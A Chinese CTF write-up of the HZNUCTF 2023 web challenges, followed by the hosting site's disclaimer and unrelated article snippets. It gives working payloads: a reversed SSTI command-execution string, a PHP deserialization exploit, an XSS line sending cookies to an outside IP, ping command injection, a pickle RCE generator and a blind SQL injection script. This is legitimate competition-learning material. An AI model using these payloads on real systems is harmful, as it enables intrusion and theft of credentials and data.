[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全

ezflask

先看题目,应该是模板注入(SSTI),输入{{7*‘7’}}直接报错误。

image-20230325103700609

发现模板是反序输出的,怪不得不能直接输入{{}}。

image-20230325104044802

输入}}‘7’*7{{返回777777,是jinja2

image-20230325104258299

//直接手打,无所谓我是怨种
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

后来写了一个逆序字符串的脚本:

import base64

strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #base


print(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

image-20230325110257757

找到flag了,在flag.sh。呃。。。。。

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
内心:6

image-20230325110506615

tac $(find / -name fla*)
payload:?name=}})')(daer.)")*alf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //无效,找不到

find / -name flag*
payload:?name=}})')(daer.)"*galf eman- / dnif"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

image-20230325111730983

tac $(find / -name flag.txt)
payload:?name=}})')(daer.)")txt.sgalf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //找不到,不敢打出题人

cd bin/;ls
payload:?name=}})')(daer.)"sl;/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
//得到app.py require.txt

cd /usr/bin/bash;ls
payload:?name=}})')(daer.)"sl;hsab/nib/rsu/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

尝试无果,基本上翻遍了目录。换个思路,查看一下环境变量,env命令。

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

image-20230325121818293

ppppop

打开题目,没东西,看看包,有个cookie,base64加密,伪造一下。

image-20230325123709102

image-20230325123951177

image-20230325124009344

strrev() , 反转字符串

__call(),在对象中调用一个不可访问方法时调用

image-20230325152522319

exp:
<?php
error_reporting(0);
class A {
    public $className='B';
    public $funcName='system';
    public $args='env';

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
} 

$j17 = new A();
#echo serialize($j17);
echo base64_encode(strrev(serialize($j17)));
echo '666666666666666';
?>
//幸好先做了SSTI,要不然找flag能把我找疯咯。

image-20230325152649098

猜猜猜

又是逆序,服了,谢谢你秋菊师傅。

id=4,但是看不见。

image-20230325134518423

联合注入无效。

image-20230325135006650

image-20230325203729737

过滤了<?php和

<script>alert(1)</script> 有返回框

image-20230325204809892

<script>document.location.href='http://43.138.184.24:9999/test.php?cookie='+document.cookie</script>

>tpircs/<eikooc.tnemucod+'=eikooc?php.a/xxx//:ptth'=ferh.noitacol.tnemucod>tpircs<

脑洞题,想想。等到了hint,pingpong。命令执行ping。之前遇到过类似的题原理不懂等wp 为啥这里可以这样啊,暂时的想法是,<?php 被过滤了,执行命令服务器解析不了,和ping一起的话服务器就知道我要执行命令了。

image-20230326194721891

ping 127.0.0.1||env   //永远的env,逆序一下哦

image-20230326200107540

ezpickle

Python Pickle反序列化。picklecPickle,作用和PHP的serialize与unserialize一样。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()pickle.load()

使用pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()方法unpickling,就会导致恶意代码的执行。


__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令。

注意点:

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,**则这个date不会被打包!**解决方案是写一个__init__方法, 也就是这样:

image-20230325234714221

一个是windows和linux生成的序列化会不一样(所以我们做题时要用kali生成),一个是os需要去双写绕过

代码如下:
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。  
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")    #get输入payload,在/calc目录
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))    #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!
    
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():            #可以把结果重定向到文件中,然后用readFile读。在/readFile目录

    filename = request.args.get('filename').replace("flag", "????")    #GET提交,把flag换成????,任意文件读取但是防止读取flag。
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

生成payload:

import pickle
import os
import base64

class qiuju666():         //秋菊师傅真的强
    def __reduce__(self):        
        return(os.system,("env> a.txt",))   //重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令

a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss')   //双写绕过

payload=base64.b64encode(payload)    //base编码byte类
print(payload)

image-20230326083659300

image-20230326083710253

image-20230326083723746


此外,后续还发现了一个非预期。任意文件读取可以读取环境变量文件/proc/1/version

payload:

/readFile?filename=../../../../../../../../../../../../proc/1/environ

image-20230816004645270

ezlogin

先看题目,抓个包,是post传参,有提示。name是base+反转。

image-20230325155908229

只有用户名有过滤,应该是注入点

过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like


9999999'/**/or/**/length(Database())like/**/5/**/#     //记得base,成功登录,注释符只能用#
Content-Length: 22【不成功】   129【成功】
手工测出数据库长度是5

这里只提示登录成功与否,无任何回显信息,所以只能用盲注。

image-20230816001943271

脚本  

#author:yu22x  improve by jay17
import requests
import string
import base64
url="http://7ad5907d-0d03-4bfe-8cd0-baebf20f5dc5.ite.hznu.edu.cn/"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
    print(i)
    for j in range(32,128):

        # 跑库名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"

        # 跑表名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctftraining'),{i},1))/**/like/**/{j},1,0)#"

        # 跑列名
        #s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'news'),{i},1))/**/like/**/{j},1,0)#"

        #######################
        s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(password)/**/frOm/**/users.user),{i},1))/**/like/**/{j},1,0)#"



        sre = s[::-1]   #逆序
        sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8")   #base64


        data={
            'username':sbase,
            'passwd':'MTEx'
        }


        # data={
        #     'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        r=requests.post(url,data=data)
        #print(r.text)
        if "success!!" in r.text:
            flag+=chr(j)
            print(flag)
            break

#库  information_schema,ctftraining,performance_schema,test,mysql,users

#ctftraining库的表    FLAG_TABLE,news,users
#FLAG_TABLE列     FLAG_COLUMN
#news列           id,title,content,time
#骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局!!!!!!!!!!!!!!



#users库的表  user
#user列     max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time,id,username,password
#列  Host,User,Password,Select_priv,Insert_priv,Update_priv.......,id,username,password(600+)
#字段  password里面有东西

image-20230326131257674

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/80093.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

macOS Ventura 13.5.1(22G90)发布(附黑/白苹果系统镜像地址)

系统镜像下载&#xff1a;百度&#xff1a;黑果魏叔 系统介绍 黑果魏叔 8 月 18 日消息&#xff0c;苹果今日向 Mac 电脑用户推送了 macOS 13.5.1 更新&#xff08;内部版本号&#xff1a;22G90&#xff09;&#xff0c;本次更新距离上次发布隔了 24 天。 本次更新重点修复了…

企望制造ERP系统 RCE漏洞[2023-HW]

企望制造ERP系统 RCE漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现小龙POC检测 五、 修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;…

De Bruijin序列与魔术(四)——De Bruijin序列的拓展结果

早点关注我&#xff0c;精彩不错过&#xff01; 在上一讲中&#xff0c;我们解释了对扩展De Bruijin序列用来变魔术的思路和公式&#xff0c;相关内容请戳&#xff1a; De Bruijin序列与魔术&#xff08;三&#xff09;——De Bruijin序列的拓展思考 De Bruijin序列与魔术&…

【仿写tomcat】七、项目结构优化以及代码开源

仿写tomcat 项目结构开源地址 项目结构 到目前为止&#xff0c;博主的仿写tomcat就告一段落了&#xff0c;后续有时间了还会继续补充功能&#xff0c;现在的项目结构如下。 在保证功能的前提下作出的改动有&#xff1a; 将各个类中的参数统一成了Config类&#xff0c;通过对…

视频集中存储/云存储/磁盘阵列EasyCVR平台接入RTSP设备出现离线情况的排查

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

git 开发环境配置

系统&#xff1a;Mac OS 1、下载git&#xff0c;官网已经推荐使用命令下载。 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh) 2、验证git是否安装成功 git --version 3、配置本地git全局变量 git config --global user.n…

【C++学习手札】一文带你认识C++虚继承​​

食用指南&#xff1a;本文在有C基础的情况下食用更佳 &#x1f340;本文前置知识&#xff1a;C虚函数&#xff08;很重要&#xff0c;内部剖析&#xff09; ♈️今日夜电波&#xff1a;僕らのつづき—柊優花 1:06 ━━━━━━️&#x1f49f;──────── 3:51 …

AQS源码解读

文章目录 前言一、AQS是什么&#xff1f;二、解读重点属性statehead、tail 同步变量竞争acquire 同步变量释放 总结 前言 AQS是AbstractQueuedSynchronizer的缩写&#xff0c;也是大神Doug Lea的得意之作。今天我们来进行尽量简化的分析和理解性的代码阅读。 一、AQS是什么&am…

旧版本docker未及时更新,导致更新/etc/docker/daemon.json配置文件出现docker重启失败

一、背景 安装完docker和containerd之后&#xff0c;尝试重启docker的时候&#xff0c;报错如下&#xff1a; systemctl restart dockerJob for docker.service failed because the control process exited with error code. See “systemctl status docker.service” and “…

android设置竖屏仍然跟随屏幕旋转怎么办

如题所问&#xff0c;我最近遇到一个bug&#xff0c;就是设置了摇感&#xff0c;然后有用户反馈说设置了手机下拉的系统设置-屏幕旋转-关闭。然后屏幕还是会旋转的问题。 首先&#xff0c;我们先从如何设置横竖屏了解下好了 设置横屏和竖屏的方法&#xff1a; 方法一&#x…

算法与数据结构(七)--堆

一.堆 1.堆的定义 堆是计算机科学中一类特殊的数据结构的通常&#xff0c;堆通常可以被看做是一颗完全二叉树的数组对象。 堆的特性 1.它是完全二叉树&#xff0c;除了树的最后一层结点不需要是满的&#xff0c;其他的每一层从左到右都是满的&#xff0c;如果最后一层结点不…

PyTorch学习笔记(十三)——现有网络模型的使用及修改

以分类模型的VGG为例 vgg16_false torchvision.models.vgg16(weightsFalse) vgg16_true torchvision.models.vgg16(weightsTrue) 设置为 False 的情况&#xff0c;相当于网络模型中的参数都是初始化的、默认的设置为 True 时&#xff0c;网络模型中的参数在数据集上是训练好…

Docker中为RabbitMQ安装rabbitmq_delayed_message_exchange延迟队列插件

1、前言 rabbitmq_delayed_message_exchange是一款向RabbitMQ添加延迟消息传递&#xff08;或计划消息传递&#xff09;的插件。 插件下载地址&#xff1a;https://www.rabbitmq.com/community-plugins.html 1、下载插件 首先需要确定我们当前使用的RabbitMQ的版本&#xff0c…

九耶丨阁瑞钛伦特-Spring boot与Spring cloud 之间的关系

Spring Boot和Spring Cloud是两个相互关联的项目&#xff0c;它们可以一起使用来构建微服务架构。 Spring Boot是一个用于简化Spring应用程序开发的框架&#xff0c;它提供了自动配置、快速开发的特性&#xff0c;使得开发人员可以更加轻松地创建独立的、生产级别的Spring应用程…

Unity UI内存泄漏优化

项目一运行&#xff0c;占用的内存越来越多&#xff0c;不会释放&#xff0c;导致GC越来越频繁&#xff0c;越来越慢&#xff0c;这些都是为什么呢&#xff0c;今天从UI方面谈起。 首先让我们来聊聊什么是内存泄漏呢&#xff1f; 一般来讲内存泄漏就是指我们的应用向内存申请…

Lnton羚通关于PyTorch的保存和加载模型基础知识

SAVE AND LOAD THE MODEL (保存和加载模型) PyTorch 模型存储学习到的参数在内部状态字典中&#xff0c;称为 state_dict, 他们的持久化通过 torch.save 方法。 model models.shufflenet_v2_x0_5(pretrainedTrue) torch.save(model, "../../data/ShuffleNetV2_X0.5.pth…

【C++】AVL树(平衡二叉树)

目录 一、AVL树的定义二、AVL树的作用三、AVL树的插入操作插入——平衡因子的更新插入——左单旋插入——右单旋插入——左右双旋插入——右左双旋 四、ALVL树的验证五、AVL树的性能 一、AVL树的定义 AVL树&#xff0c;全称 平衡二叉搜索&#xff08;排序&#xff09;树。 二…

使用SpringBoot + Thymeleaf 完成简单的用户登录

&#x1f600;前言 本篇博文是关于Thymeleaf 的综合案例&#xff0c; 使用SpringBoot Thymeleaf 完成简单的用户登录-列表功能&#xff0c;希望你能够喜欢&#x1f60a; &#x1f3e0;个人主页&#xff1a;晨犀主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是晨…

​Kubernetes的演变:从etcd到分布式SQL的过渡

DevRel领域专家Denis Magda表示&#xff0c;他偶然发现了一篇解释如何用PostgreSQL无缝替换etcd的文章。该文章指出&#xff0c;Kine项目作为外部etcd端点&#xff0c;可以将Kubernetes etcd请求转换为底层关系数据库的SQL查询。 受到这种方法的启发&#xff0c;Magda决定进一步…

Cat(5):API介绍—Event

Event 用来记录一件事发生的次数&#xff0c;比如记录系统异常&#xff0c;它和transaction相比缺少了时间的统计&#xff0c;开销比transaction要小。 Cat.logEvent 记录一个事件。 Cat.logEvent("URL.Server", "serverIp", Event.SUCCESS, "ip${…
最新文章